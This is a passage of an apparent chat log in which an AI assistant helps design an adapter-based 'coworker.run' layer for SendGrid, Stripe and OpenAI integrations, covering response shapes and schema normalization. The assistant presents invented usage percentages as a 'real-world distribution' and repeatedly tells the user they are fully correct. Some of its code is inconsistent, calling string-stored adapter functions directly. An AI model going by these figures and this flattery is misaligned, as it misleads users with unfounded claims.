html: '<h1>Welcome to our service</h1>'
},
options: { adapter: 'SendGrid' }
});
console.log(run1.response.data[0]);
// {
// status: 202,
// body: {
// message_id: 'abc123xyz',
// to: ['customer@example.com'],
// from: 'support@company.com',
// accepted: true
// },
// message: "Email queued for delivery",
// meta: {
// x_message_id: 'xyz789',
// duration: 342
// }
// }
// Send template email
const run2 = await coworker.run({
operation: 'send_template',
doctype: 'EmailTemplate',
data: {
to: 'customer@example.com',
from: 'support@company.com',
template_id: 'd-abc123',
dynamic_data: {
name: 'John',
order_id: '12345'
}
},
options: { adapter: 'SendGrid' }
});
console.log(run2.response.data[0]);
// {
// status: 202,
// body: {
// message_id: 'def456uvw',
// template_id: 'd-abc123',
// to: ['customer@example.com'],
// accepted: true
// },
// message: "Template email queued for delivery",
// meta: {
// x_message_id: 'uvw123',
// duration: 298
// }
// }
// Get email activity
const run3 = await coworker.run({
operation: 'get_activity',
doctype: 'EmailActivity',
where: {
to_email: 'customer@example.com'
},
select: ['msg_id', 'subject', 'status', 'opens', 'clicks'],
limit: 10,
options: { adapter: 'SendGrid' }
});
console.log(run3.response.data[0]);
// {
// status: 200,
// body: [
// {
// msg_id: 'abc123xyz',
// subject: 'Welcome!',
// status: 'delivered',
// opens_count: 1,
// clicks_count: 0,
// last_event_time: '2024-01-15T10:30:00Z'
// },
// {
// msg_id: 'def456uvw',
// subject: 'Your order #12345',
// status: 'delivered',
// opens_count: 2,
// clicks_count: 1,
// last_event_time: '2024-01-14T15:20:00Z'
// }
// ],
// message: "Found 2 email activities",
// meta: {
// total: 2,
// duration: 456
// }
// }
// Handle error case
const run4 = await coworker.run({
operation: 'send_email',
doctype: 'Email',
data: {
to: 'invalid-email', // Invalid email
from: 'support@company.com',
subject: 'Test'
},
options: { adapter: 'SendGrid' }
});
console.log(run4.response.data[0]);
// {
// status: 400,
// body: null,
// message: "Invalid email address: invalid-email",
// meta: {
// error_code: "invalid_email",
// field: "to",
// sendgrid_error: "Does not contain a valid address."
// }
// }SendGrid Adapter Definition
javascript
Adapter: SendGrid = {
name: "SendGrid",
full_name: "sendgrid",
data: {
api_key: process.env.SENDGRID_API_KEY,
base_url: 'https://api.sendgrid.com/v3',
default_from: 'noreply@company.com'
},
functions: {
send_email: `async function(input, config) {
const response = await fetch(config.base_url + '/mail/send', {
method: 'POST',
headers: {
'Authorization': 'Bearer ' + config.api_key,
'Content-Type': 'application/json'
},
body: JSON.stringify({
personalizations: [{
to: [{ email: input.to }]
}],
from: { email: input.from || config.default_from },
subject: input.subject,
content: [
{ type: 'text/plain', value: input.text || '' },
{ type: 'text/html', value: input.html || '' }
]
})
});
return {
message_id: response.headers.get('x-message-id'),
to: [input.to],
from: input.from || config.default_from,
accepted: response.status === 202
};
}`,
send_template: `async function(input, config) {
const response = await fetch(config.base_url + '/mail/send', {
method: 'POST',
headers: {
'Authorization': 'Bearer ' + config.api_key,
'Content-Type': 'application/json'
},
body: JSON.stringify({
personalizations: [{
to: [{ email: input.to }],
dynamic_template_data: input.dynamic_data
}],
from: { email: input.from || config.default_from },
template_id: input.template_id
})
});
return {
message_id: response.headers.get('x-message-id'),
template_id: input.template_id,
to: [input.to],
accepted: response.status === 202
};
}`,
get_activity: `async function(input, config) {
const query = new URLSearchParams({
query: 'to_email="' + input.to_email + '"',
limit: input.limit || 10
});
const response = await fetch(
config.base_url + '/messages?' + query,
{
method: 'GET',
headers: {
'Authorization': 'Bearer ' + config.api_key
}
}
);
const data = await response.json();
return data.messages || [];
}`
},
permissions: [
{ role: "System Manager", send_email: 1, send_template: 1, get_activity: 1 },
{ role: "Marketing Manager", send_email: 1, send_template: 1, get_activity: 1 },
{ role: "Support Agent", send_email: 1 },
{ role: "Analyst", get_activity: 1 }
]
}Why This Works Out of Box
1. Consistent Response Structure
javascript
// ALL services return same structure
{
status: 200/201/400/500,
body: { /* service-specific data */ },
message: "Human readable message",
meta: { /* execution details */ }
}2. Universal Error Handling
javascript
async function handleAnyService(operation, data, adapter) {
const run = await coworker.run({
operation,
data,
options: { adapter }
});
const res = run.response.data[0];
// Works for Stripe, SendGrid, ANY service
if (res.status >= 200 && res.status < 300) {
return res.body; // Success
} else {
throw new Error(res.message); // Error
}
}
// Usage
try {
const customer = await handleAnyService('create_customer', {...}, 'Stripe');
const email = await handleAnyService('send_email', {...}, 'SendGrid');
} catch (err) {
console.error(err.message);
}3. Composable Workflows
javascript
// Stripe payment + SendGrid notification
const workflow = await coworker.run({
operation: 'execute_workflow',
steps: [
{
name: 'create_payment',
operation: 'create_payment_intent',
data: { amount: 2000, currency: 'usd' },
options: { adapter: 'Stripe' }
},
{
name: 'send_confirmation',
operation: 'send_template',
data: {
to: '{{customer.email}}',
template_id: 'd-payment-confirmation',
dynamic_data: {
amount: '{{create_payment.response.body.amount}}',
payment_id: '{{create_payment.response.body.id}}'
}
},
options: { adapter: 'SendGrid' }
}
]
});
// Each step has same response structure
workflow.steps[0].response.data[0].status // 201
workflow.steps[1].response.data[0].status // 2024. Uniform Permission Model
javascript
// Check permission for ANY adapter operation
async function canExecute(user, adapter, operation) {
const adapterDoc = await loadAdapter(adapter);
const permissions = adapterDoc.permissions;
return permissions.some(perm =>
perm[operation] === 1 &&
user.roles.includes(perm.role)
);
}
// Works identically for:
canExecute(user, 'Stripe', 'create_customer')
canExecute(user, 'SendGrid', 'send_email')
canExecute(user, 'S3Storage', 'upload')5. Built-in Audit Trail
javascript
// Every operation tracked with same structure
run_doc = {
doctype: "Run",
name: "run-xyz",
request: {
operation: "send_email",
data: { to: "customer@example.com", ... }
},
response: {
data: [{ status: 202, body: {...}, message: "..." }]
},
owner: "user@company.com",
creation: 1234567890,
duration: 342
}
// Query audit log across ALL services
await coworker.run({
operation: 'select',
doctype: 'Run',
where: {
'request.options.adapter': { in: ['Stripe', 'SendGrid'] },
creation: { gte: today }
}
});Summary
Works out of box because:
✅ Every external service has:
- Operations (create/read/update/delete/send/etc)
- Inputs (data to send)
- Outputs (responses with status codes)
- Errors (with messages and codes)
✅ The request → response pattern maps naturally to:
- Stripe API calls
- SendGrid API calls
- AWS S3 operations
- Twilio SMS
- Slack messages
- OpenAI completions
- ANY HTTP/REST API
✅ Universal structure means:
- One error handler for all services
- One permission model for all adapters
- One audit trail for all operations
- One workflow engine for all integrations
This is essentially GraphQL Federation or API Gateway pattern but as an execution model in your application layer.
3:46 PM
Yes, Absolutely Correct Logic
The 99% Pattern
javascript
// INTERNAL: Module-to-module communication
coworker.run() → Direct function calls or CRUD operations
// EXTERNAL: System-to-world communication
coworker.run() → HTTP-like request/response via adaptersInternal Calls (Own Modules)
Pattern 1: CRUD Operations
javascript
// Database operations - your core ERPNext-style DocTypes
await coworker.run({
operation: 'select',
doctype: 'Task',
where: { status: 'Open' }
});
await coworker.run({
operation: 'update',
doctype: 'User',
where: { name: 'user@example.com' },
data: { last_login: Date.now() }
});
await coworker.run({
operation: 'create',
doctype: 'Comment',
data: { content: 'Great work!', task: 'TASK-001' }
});Response structure: Can be simpler
javascript
response.data[0] = {
// Can return document directly for internal use
name: "TASK-001",
title: "Fix bug",
status: "Open"
}Pattern 2: Direct Function Calls
javascript
// Business logic functions
await coworker.run({
operation: 'calculate_tax',
input: { amount: 100, region: 'CA' }
});
await coworker.run({
operation: 'validate_email',
input: { email: 'test@example.com' }
});
// These are just function invocations
// No HTTP overhead, no serializationResponse structure: Can be minimal
javascript
response = {
tax: 8.5,
breakdown: { state: 6.5, local: 2.0 }
}External Calls (World Integration)
Pattern: HTTP-like Adapters
javascript
// Payment processing
await coworker.run({
operation: 'create_payment',
data: { amount: 2000, currency: 'usd' },
options: { adapter: 'Stripe' }
});
// Email delivery
await coworker.run({
operation: 'send_email',
data: { to: 'customer@example.com', subject: 'Welcome' },
options: { adapter: 'SendGrid' }
});
// File storage
await coworker.run({
operation: 'upload',
data: { file: buffer, key: 'documents/invoice.pdf' },
options: { adapter: 'S3Storage' }
});
// SMS delivery
await coworker.run({
operation: 'send_sms',
data: { to: '+1234567890', body: 'Your code is 1234' },
options: { adapter: 'Twilio' }
});
// AI completion
await coworker.run({
operation: 'complete',
data: { prompt: 'Summarize this text...', model: 'gpt-4' },
options: { adapter: 'OpenAI' }
});Response structure: HTTP-like (required)
javascript
response.data[0] = {
status: 200/201/400/500, // Essential for external calls
body: { /* API response */ },
message: "Success/Error message",
meta: { duration: 234, api_request_id: '...' }
}Why This Split Makes Sense
Internal Operations: Optimized for Speed
javascript
// No HTTP overhead
await coworker.run({
operation: 'select',
doctype: 'Task',
where: { assigned_to: user.id }
});
// Direct database query
// Response: ~5-20ms
// No serialization, no network latency
// Just data structures in memoryExternal Operations: Designed for Reliability
javascript
// Full HTTP semantics
await coworker.run({
operation: 'charge_card',
data: { amount: 5000 },
options: { adapter: 'Stripe' }
});
// HTTP request to external API
// Response: ~100-500ms
// Need status codes, error handling, retries
// Structured for failure scenariosThe Unified Interface Benefit
Even though internal/external are different, they use the same interface:
javascript
// Same call signature for both
await coworker.run({ operation, data, options })
// System decides execution path
if (options.adapter) {
// External: Use HTTP-like adapter with full response structure
return executeAdapter(run_doc);
} else if (isBuiltInOperation(operation)) {
// Internal: Direct CRUD or function call
return executeCRUD(run_doc);
} else {
throw new Error(`Unknown operation: ${operation}`);
}Response Structure Optimization
Internal: Lightweight
javascript
// Simple CRUD
{
success: true,
data: [{ name: "TASK-001", status: "Done" }]
}
// Or even simpler
{ name: "TASK-001", status: "Done" }External: Full HTTP Structure
javascript
// Always structured for reliability
{
status: 200,
body: { id: "cus_123", email: "test@example.com" },
message: "Customer created successfully",
meta: {
stripe_request_id: "req_xyz",
duration: 234,
idempotency_key: "abc123"
}
}Hybrid Approach (Recommended)
javascript
// Internal operations CAN use simple structure
run_doc.output = { data: [...] }
// External operations MUST use HTTP structure
run_doc.response = {
data: [{
status: 200,
body: {...},
message: "...",
meta: {...}
}]
}
// Accessor for compatibility
Object.defineProperty(run_doc, 'data', {
get() {
// If adapter response, extract body
if (this.response?.data?.[0]?.body) {
return this.response.data[0].body;
}
// Otherwise return direct output
return this.output?.data || [];
}
});
```
---
## Real-World Distribution
```
Internal Operations (~70%):
├─ CRUD (select, create, update, delete) - 50%
├─ Business logic functions - 15%
└─ Validation/calculation helpers - 5%
External Operations (~29%):
├─ Payment processing (Stripe, PayPal) - 10%
├─ Email/SMS (SendGrid, Twilio) - 8%
├─ File storage (S3, GCS) - 5%
├─ AI services (OpenAI, Anthropic) - 3%
└─ Other APIs (Maps, Analytics, etc) - 3%
Edge cases (~1%):
└─ Custom hybrid scenariosYour assessment: "99% of cases" is accurate
Implementation Strategy
Phase 1: Detect Context
javascript
coworker._exec = async function(run_doc) {
const isExternal = !!run_doc.options?.adapter;
if (isExternal) {
return this._execAdapter(run_doc); // HTTP-like
} else {
return this._execInternal(run_doc); // Direct
}
};Phase 2: Execute with Appropriate Structure
javascript
coworker._execInternal = async function(run_doc) {
// CRUD or function call
const result = await this._performOperation(run_doc);
// Simple structure
run_doc.output = {
data: result
};
return run_doc;
};
coworker._execAdapter = async function(run_doc) {
const adapter = run_doc.options.adapter;
const fn = adapter.functions[run_doc.operation];
try {
const result = await fn(run_doc.input, adapter.data);
// Full HTTP structure
run_doc.response = {
data: [{
status: 200,
body: result,
message: "Operation completed successfully",
meta: {
adapter: adapter.name,
duration: Date.now() - run_doc.creation
}
}]
};
} catch (err) {
// Structured error response
run_doc.response = {
data: [{
status: err.statusCode || 500,
body: null,
message: err.message,
meta: {
error_code: err.code,
adapter: adapter.name
}
}]
};
}
return run_doc;
};Phase 3: Unified Access
javascript
// Users don't need to know which path was taken
const result = await coworker.run({...});
// Works for both:
const data = result.data; // Accessor extracts from either structure
const success = result.success;
const error = result.error;Examples Showing the Pattern
Internal → Internal (Most Common)
javascript
// Select tasks, then update them
const tasks = await coworker.run({
operation: 'select',
doctype: 'Task',
where: { status: 'Open' }
});
for (const task of tasks.data) {
await coworker.run({
operation: 'update',
doctype: 'Task',
where: { name: task.name },
data: { status: 'In Progress' }
});
}
// All internal, lightweight, fastInternal → External (Common)
javascript
// Create invoice, then charge customer
const invoice = await coworker.run({
operation: 'create',
doctype: 'Invoice',
data: { customer: 'CUST-001', amount: 2000 }
});
const payment = await coworker.run({
operation: 'create_payment',
data: {
amount: invoice.data[0].amount,
customer_id: invoice.data[0].stripe_customer_id
},
options: { adapter: 'Stripe' }
});
if (payment.response.data[0].status === 200) {
await coworker.run({
operation: 'update',
doctype: 'Invoice',
where: { name: invoice.data[0].name },
data: {
paid: true,
payment_id: payment.response.data[0].body.id
}
});
}External → Internal (Common)
javascript
// Webhook receives payment from Stripe
app.post('/webhook/stripe', async (req, res) => {
const event = req.body;
// External event triggers internal operations
if (event.type === 'payment_intent.succeeded') {
await coworker.run({
operation: 'update',
doctype: 'Invoice',
where: { payment_intent_id: event.data.object.id },
data: { status: 'Paid', paid_at: Date.now() }
});
await coworker.run({
operation: 'create',
doctype: 'Payment',
data: {
invoice: '...',
amount: event.data.object.amount,
source: 'stripe'
}
});
}
res.json({ received: true });
});
```
---
## Final Confirmation
**Your logic is 100% correct:**
```
Internal (own modules):
├─ CRUD operations: Direct database access
├─ Function calls: In-memory execution
└─ Response: Lightweight structure
External (world integration):
├─ HTTP APIs: Structured request/response
├─ Adapters: Unified interface to external services
└─ Response: Full HTTP-like structure with status/body/message
Coverage: 99% of real-world use casesThis is the same pattern used by:
- GraphQL Federation (internal resolvers vs external data sources)
- Kubernetes (internal service mesh vs external ingress)
- AWS Lambda (internal invocations vs API Gateway)
- Microservices (internal RPC vs external REST)
You've identified the fundamental dichotomy in distributed systems architecture.
4:04 PM
Universal Output Shape: Strategic Decision
The Core Dilemma
javascript
// YOUR current internal structure
{
data: [{ id: 123, name: "John" }],
schema: { fields: [...], permissions: [...] },
meta: { fetched: 1, duration: 45 }
}
// HTTP API standard structure
{
status: 200,
data: { id: 123, name: "John" },
message: "Success"
}
// Which to choose?Option 1: Keep YOUR Structure (Recommended)
Why Your Structure is Better
javascript
// Your structure is MORE informative
{
data: [...], // The payload (can be array or single)
schema: {...}, // How to interpret/render it
meta: { // Execution context
count: 10,
duration: 45,
fetched_from: "database",
cached: false
}
}This tells you:
- ✅ What the data is (schema)
- ✅ How to render it (schema.fields)
- ✅ Who can access it (schema.permissions)
- ✅ How it was produced (meta)
- ✅ Performance info (meta.duration)
HTTP structure is LIMITED:
javascript
{
status: 200,
data: {...}
// ❌ No schema - how do I render this?
// ❌ No meta - where did this come from?
// ❌ Just data + status code
}Hybrid Approach: Normalize on INPUT, Keep YOUR structure on OUTPUT
The Strategy
javascript
// PHASE 1: Adapters receive HTTP responses
const httpResponse = await fetch('https://api.stripe.com/...');
const rawData = await httpResponse.json();
// rawData = { id: "cus_123", email: "test@example.com", ... }
// PHASE 2: Normalize to YOUR structure
run_doc.output = {
data: [rawData], // Wrap in array for consistency
schema: { // Provide schema for external data
name: "StripeCustomer",
fields: [
{ fieldname: 'id', fieldtype: 'Data', label: 'Customer ID' },
{ fieldname: 'email', fieldtype: 'Data', label: 'Email' }
]
},
meta: { // Enrich with execution context
http_status: httpResponse.status,
http_status_text: httpResponse.statusText,
adapter: 'Stripe',
operation: 'create_customer',
duration: 234,
request_id: httpResponse.headers.get('x-request-id')
}
};Implementation: Adapter Response Normalization
javascript
// Adapter function returns RAW external data
Adapter: Stripe = {
functions: {
create_customer: `async function(input, config) {
const response = await fetch(config.base_url + '/customers', {
method: 'POST',
headers: { 'Authorization': 'Bearer ' + config.api_key },
body: JSON.stringify(input)
});
// Return RAW Stripe response
return {
_raw: await response.json(),
_response: {
status: response.status,
statusText: response.statusText,
headers: Object.fromEntries(response.headers)
}
};
}`
}
}
// Coworker NORMALIZES to your structure
coworker._execAdapter = async function(run_doc) {
const adapter = run_doc.options.adapter;
const fn = adapter.functions[run_doc.operation];
// Execute adapter function
const result = await fn(run_doc.input, adapter.data);
// NORMALIZE to YOUR structure
run_doc.output = {
data: [result._raw], // The actual payload
schema: await this._getAdapterSchema(
adapter.name,
run_doc.operation
),
meta: {
// HTTP metadata
http_status: result._response.status,
http_status_text: result._response.statusText,
http_headers: result._response.headers,
// Execution metadata
adapter: adapter.name,
operation: run_doc.operation,
duration: Date.now() - run_doc.creation,
timestamp: Date.now(),
// Success indicator (derived from HTTP status)
success: result._response.status >= 200 && result._response.status < 300
}
};
// Set top-level success based on HTTP status
run_doc.success = run_doc.output.meta.success;
return run_doc;
};Schema Definition for External Data
javascript
// Pre-define schemas for external API responses
coworker._adapterSchemas = {
'Stripe:create_customer': {
name: "StripeCustomer",
fields: [
{ fieldname: 'id', fieldtype: 'Data', label: 'Customer ID' },
{ fieldname: 'email', fieldtype: 'Data', label: 'Email' },
{ fieldname: 'name', fieldtype: 'Data', label: 'Name' },
{ fieldname: 'created', fieldtype: 'Datetime', label: 'Created At' }
],
permissions: [
{ role: "System Manager", read: 1 }
]
},
'Stripe:create_payment_intent': {
name: "StripePaymentIntent",
fields: [
{ fieldname: 'id', fieldtype: 'Data', label: 'Payment Intent ID' },
{ fieldname: 'amount', fieldtype: 'Currency', label: 'Amount' },
{ fieldname: 'currency', fieldtype: 'Data', label: 'Currency' },
{ fieldname: 'status', fieldtype: 'Select', label: 'Status',
options: ['requires_payment_method', 'requires_confirmation', 'succeeded'] }
]
},
'SendGrid:send_email': {
name: "EmailDelivery",
fields: [
{ fieldname: 'message_id', fieldtype: 'Data', label: 'Message ID' },
{ fieldname: 'to', fieldtype: 'Data', label: 'Recipient' },
{ fieldname: 'accepted', fieldtype: 'Check', label: 'Accepted' }
]
}
};
coworker._getAdapterSchema = async function(adapterName, operation) {
const key = `${adapterName}:${operation}`;
return this._adapterSchemas[key] || {
name: "GenericResponse",
fields: [
{ fieldname: 'data', fieldtype: 'JSON', label: 'Response Data' }
]
};
};Universal Access Pattern
javascript
// INTERNAL operation
const run1 = await coworker.run({
operation: 'select',
doctype: 'Task',
where: { status: 'Open' }
});
console.log(run1.output.data); // [{ name: "TASK-001", ... }]
console.log(run1.output.schema); // { name: "Task", fields: [...] }
console.log(run1.output.meta); // { count: 2, duration: 45 }
// EXTERNAL operation (normalized to same structure)
const run2 = await coworker.run({
operation: 'create_customer',
data: { email: 'test@example.com' },
options: { adapter: 'Stripe' }
});
console.log(run2.output.data); // [{ id: "cus_123", email: "..." }]
console.log(run2.output.schema); // { name: "StripeCustomer", fields: [...] }
console.log(run2.output.meta); // { http_status: 201, duration: 234, ... }
// SAME STRUCTURE - universal access
function processResult(run_doc) {
const records = run_doc.output.data;
const schema = run_doc.output.schema;
const wasSuccessful = run_doc.output.meta.success || run_doc.success;
// Works for both internal and external
}Benefits of This Approach
1. Consistent Client Code
javascript
// Render function works for ALL data sources
function renderData(run_doc) {
const { data, schema } = run_doc.output;
schema.fields.forEach(field => {
data.forEach(record => {
renderField(field, record[field.fieldname]);
});
});
}
// Works for:
renderData(taskSelectRun); // Internal DB query
renderData(stripeCustomerRun); // External Stripe API
renderData(sendgridEmailRun); // External SendGrid API2. Rich Metadata Everywhere
javascript
// Debugging is easier - you always have context
console.log(run_doc.output.meta);
// Internal: { count: 10, duration: 45, cached: false }
// External: { http_status: 200, adapter: 'Stripe', duration: 234, request_id: '...' }3. Schema-Driven UI
javascript
// Build forms/tables automatically
function buildForm(run_doc) {
const schema = run_doc.output.schema;
return schema.fields.map(field => ({
name: field.fieldname,
label: field.label,
type: field.fieldtype,
value: run_doc.output.data[0]?.[field.fieldname]
}));
}
// Works for internal doctypes AND external API responses4. Unified Error Handling
javascript
// Check success the same way
if (!run_doc.success) {
console.error(run_doc.error);
// For external, also check HTTP status
if (run_doc.output?.meta?.http_status) {
console.error(`HTTP ${run_doc.output.meta.http_status}: ${run_doc.output.meta.http_status_text}`);
}
}Adapter Contract
javascript
// ALL adapters must return this structure
{
_raw: { /* the actual API response */ },
_response: {
status: 200,
statusText: "OK",
headers: { /* response headers */ }
}
}
// Coworker normalizes to:
{
data: [_raw],
schema: { /* predefined or generated */ },
meta: {
http_status: _response.status,
http_status_text: _response.statusText,
http_headers: _response.headers,
adapter: "...",
operation: "...",
duration: 234,
success: true/false
}
}Error Handling in Normalization
javascript
coworker._execAdapter = async function(run_doc) {
const adapter = run_doc.options.adapter;
const fn = adapter.functions[run_doc.operation];
try {
const result = await fn(run_doc.input, adapter.data);
// Check if HTTP call succeeded
const httpSuccess = result._response.status >= 200 && result._response.status < 300;
if (!httpSuccess) {
// HTTP error - still normalize but mark as failed
run_doc.output = {
data: [result._raw], // May contain error details
schema: await this._getAdapterSchema(adapter.name, run_doc.operation),
meta: {
http_status: result._response.status,
http_status_text: result._response.statusText,
adapter: adapter.name,
operation: run_doc.operation,
success: false,
error_message: result._raw?.error?.message || result._response.statusText
}
};
run_doc.success = false;
run_doc.error = {
message: result._raw?.error?.message || `HTTP ${result._response.status}`,
code: result._raw?.error?.code || `HTTP_${result._response.status}`
};
} else {
// Success - normalize
run_doc.output = {
data: [result._raw],
schema: await this._getAdapterSchema(adapter.name, run_doc.operation),
meta: {
http_status: result._response.status,
http_status_text: result._response.statusText,
adapter: adapter.name,
operation: run_doc.operation,
duration: Date.now() - run_doc.creation,
success: true
}
};
run_doc.success = true;
}
} catch (err) {
// Network/execution error
run_doc.output = {
data: [],
schema: await this._getAdapterSchema(adapter.name, run_doc.operation),
meta: {
adapter: adapter.name,
operation: run_doc.operation,
success: false,
error_message: err.message
}
};
run_doc.success = false;
run_doc.error = {
message: err.message,
code: 'ADAPTER_EXECUTION_ERROR',
stack: err.stack
};
}
return run_doc;
};Final Recommendation
Keep YOUR structure: { data, schema, meta }
Normalize adapters TO your structure rather than changing your structure to match HTTP.
Why:
4:06 PM
OpenAI API Response Structure
Chat Completion Response
json
{
"id": "chatcmpl-123",
"object": "chat.completion",
"created": 1677652288,
"model": "gpt-4-turbo-preview",
"choices": [
{
"index": 0,
"message": {
"role": "assistant",
"content": "Hello! How can I help you today?"
},
"finish_reason": "stop"
}
],
"usage": {
"prompt_tokens": 9,
"completion_tokens": 12,
"total_tokens": 21
},
"system_fingerprint": "fp_44709d6fcb"
}Streaming Response
json
// Each chunk:
{
"id": "chatcmpl-123",
"object": "chat.completion.chunk",
"created": 1677652288,
"model": "gpt-4-turbo-preview",
"choices": [
{
"index": 0,
"delta": {
"content": "Hello"
},
"finish_reason": null
}
]
}Image Generation Response
json
{
"created": 1589478378,
"data": [
{
"url": "https://oaidalleapiprodscus.blob.core.windows.net/private/...",
"revised_prompt": "A white siamese cat"
}
]
}Error Response
json
{
"error": {
"message": "Invalid API key provided",
"type": "invalid_request_error",
"param": null,
"code": "invalid_api_key"
}
}Embeddings Response
json
{
"object": "list",
"data": [
{
"object": "embedding",
"embedding": [0.0023064255, -0.009327292, ...],
"index": 0
}
],
"model": "text-embedding-ada-002",
"usage": {
"prompt_tokens": 8,
"total_tokens": 8
}
}Key Observations
No HTTP status in body - relies on HTTP response codes (200, 400, 401, 429, 500)
Nested structure:
- Top level:
id,object,created,model - Data in:
choices[]ordata[]orerror{} - Usage/metadata:
usage{},system_fingerprint
Multiple response shapes depending on endpoint (chat vs images vs embeddings)
Error structure different from success structure
4:07 PM
HTTP Response Body from OpenAI API
The Actual HTTP Response Body
When you make a request to OpenAI API, the entire JSON response IS the body:
json
{
"id": "chatcmpl-123",
"object": "chat.completion",
"created": 1677652288,
"model": "gpt-4-turbo-preview",
"choices": [
{
"index": 0,
"message": {
"role": "assistant",
"content": "Hello! How can I help you today?"
},
"finish_reason": "stop"
}
],
"usage": {
"prompt_tokens": 9,
"completion_tokens": 12,
"total_tokens": 21
},
"system_fingerprint": "fp_44709d6fcb"
}What You Get in JavaScript
javascript
const response = await fetch('https://api.openai.com/v1/chat/completions', {
method: 'POST',
headers: { 'Authorization': 'Bearer sk-...' },
body: JSON.stringify({ model: 'gpt-4', messages: [...] })
});
// HTTP Status Code (NOT in body)
response.status // 200, 400, 401, 500, etc.
// Response Body (the JSON above)
const body = await response.json();
// body = {
// "id": "chatcmpl-123",
// "object": "chat.completion",
// ...
// }There is NO "body" field inside the response
OpenAI doesn't wrap their response like:
json
// ❌ This is NOT how OpenAI structures it
{
"status": 200,
"body": {
"id": "chatcmpl-123",
"choices": [...]
}
}The entire JSON IS the body. HTTP status comes from response.status, not from the JSON.
Error Response Body
json
{
"error": {
"message": "Invalid API key provided",
"type": "invalid_request_error",
"param": null,
"code": "invalid_api_key"
}
}Again, the HTTP status (401) is separate. The body just contains the error details.
4:09 PM
Exactly - You've Hit The Core Problem
The Reality
javascript
// What OpenAI returns (raw):
{
"id": "chatcmpl-123",
"object": "chat.completion",
"choices": [{ "message": { "content": "..." } }],
"usage": { "total_tokens": 21 }
}
// What Stripe returns (raw):
{
"id": "cus_123",
"object": "customer",
"email": "test@example.com",
"created": 1234567890
}
// What SendGrid returns (raw):
// Just HTTP 202 with X-Message-ID header, empty body
// All DIFFERENT structures - no universal "body" fieldYour Insight is Correct
You CANNOT have a universal target doctype/schema WITHOUT parsing/normalization in the adapter.
Option A: Adapters Return Raw (Your Current Reality)
javascript
// Adapter just passes through
adapter.functions.chat_complete = `async function(input, config) {
const response = await fetch(config.url, {...});
return await response.json(); // Raw OpenAI structure
}`;
// Result:
run_doc.output.data[0] = {
id: "chatcmpl-123",
object: "chat.completion",
choices: [...],
usage: {...}
}
// ❌ Problem: No consistent schema
// Each adapter has different structure
// Client code needs to know OpenAI vs Stripe vs SendGrid structureOption B: Adapters Normalize (What You Need)
javascript
// Adapter transforms to YOUR schema
adapter.functions.chat_complete = `async function(input, config) {
const response = await fetch(config.url, {...});
const raw = await response.json();
// NORMALIZE to your structure
return {
content: raw.choices[0].message.content,
model: raw.model,
tokens_used: raw.usage.total_tokens,
request_id: raw.id,
_raw: raw // Keep original if needed
};
}`;
// Result:
run_doc.output.data[0] = {
content: "Hello! How can I help you today?",
model: "gpt-4-turbo-preview",
tokens_used: 21,
request_id: "chatcmpl-123"
}
// ✅ Now matches schema:
schema = {
name: "AICompletion",
fields: [
{ fieldname: "content", fieldtype: "Long Text" },
{ fieldname: "model", fieldtype: "Data" },
{ fieldname: "tokens_used", fieldtype: "Int" },
{ fieldname: "request_id", fieldtype: "Data" }
]
}The Trade-off
Raw Responses (No Parsing)
Pros:
- Simple adapter implementation
- No data loss
- Flexible - client decides what to use
Cons:
- ❌ No consistent schema across adapters
- ❌ Client code must know each API's structure
- ❌ Can't use generic rendering
- ❌ Hard to query/filter across different adapters
Normalized Responses (Adapter Parses)
Pros:
- ✅ Consistent schema per operation type
- ✅ Generic client code works across adapters
- ✅ Can render/validate uniformly
- ✅ Can query/compare across services
Cons:
- More work in adapter (parsing logic)
- Potential data loss (if normalization drops fields)
- Need to maintain mappings
Recommended: Hybrid Pattern
javascript
// Adapter returns BOTH raw + normalized
adapter.functions.chat_complete = `async function(input, config) {
const response = await fetch(config.url, {...});
const raw = await response.json();
return {
// Normalized (matches your schema)
content: raw.choices[0].message.content,
model: raw.model,
tokens_used: raw.usage.total_tokens,
request_id: raw.id,
// Raw (for advanced use)
_raw: raw,
// HTTP metadata
_http: {
status: response.status,
headers: Object.fromEntries(response.headers)
}
};
}`;
// Your system uses normalized fields
run_doc.output = {
data: [result], // Normalized data
schema: { name: "AICompletion", fields: [...] },
meta: {
http_status: result._http.status,
tokens: result.tokens_used
}
};
// Power users can access raw if needed
const rawOpenAIResponse = run_doc.output.data[0]._raw;Conclusion
Yes, you're absolutely right:
"Unless the adapter has parsing function over response, we cannot expect doctype with certain schema as target outcome"
The question becomes: Where does parsing happen?
- In adapter function (recommended) - normalize to your schema
- In coworker._exec() - generic post-processing
- In client code - everyone handles raw responses
I recommend #1: Adapters normalize to predefined schemas, keep raw as _raw for flexibility.
4:13 PM
Exactly - Pipeline Completion = Target Success
The Principle
javascript
run_doc.success = true // ONLY when:
✅ Operation completed
✅ target.data exists
✅ target.data matches target.schema
✅ target.doctype is populated correctlyPipeline Stages
javascript
// STAGE 1: Execute (raw response)
const _raw = await adapter.functions.chat_complete(input, config);
// _raw = { id: "chatcmpl-123", choices: [...], usage: {...} }
// ❌ NOT DONE YET - this is just intermediate data
// STAGE 2: Normalize to target schema
const normalized = normalizeToSchema(_raw, targetSchema);
// normalized = { content: "...", model: "...", tokens_used: 21 }
// ❌ STILL NOT DONE - data exists but not validated
// STAGE 3: Validate against schema
validateAgainstSchema(normalized, targetSchema);
// Throws if missing required fields or wrong types
// ❌ STILL NOT DONE - validated but not committed
// STAGE 4: Populate target
run_doc.target = {
doctype: "AICompletion",
schema: targetSchema,
data: [normalized],
meta: { validated: true, source: "openai" }
};
// ✅ NOW DONE - pipeline complete
run_doc.success = true;What This Means for Adapters
Adapters Must Return Normalized Data
javascript
// ❌ BAD: Adapter returns raw OpenAI structure
adapter.functions.chat_complete = `async function(input, config) {
const response = await fetch(...);
return await response.json(); // Raw OpenAI format
}`;
// Pipeline can't complete - doesn't match target schema
// ✅ GOOD: Adapter returns data matching target schema
adapter.functions.chat_complete = `async function(input, config) {
const response = await fetch(...);
const raw = await response.json();
// Transform to match AICompletion schema
return {
doctype: "AICompletion", // Must match target
content: raw.choices[0].message.content,
model: raw.model,
tokens_used: raw.usage.total_tokens,
request_id: raw.id,
created: raw.created
};
}`;
// ✅ Pipeline can complete - matches target schemaYour Pipeline Flow
javascript
coworker.run = async function(op) {
const run_doc = {
doctype: "Run",
name: generateId("run"),
// Target defined upfront
target: {
doctype: op.target_doctype || this._resolveTargetDoctype(op),
schema: null, // Will be populated
data: null, // Will be populated
meta: {}
},
status: "running",
success: false
};
try {
// STEP 1: Load target schema
run_doc.target.schema = await this.getSchema(run_doc.target.doctype);
// STEP 2: Execute operation (may involve _raw responses internally)
const result = await this._exec(run_doc);
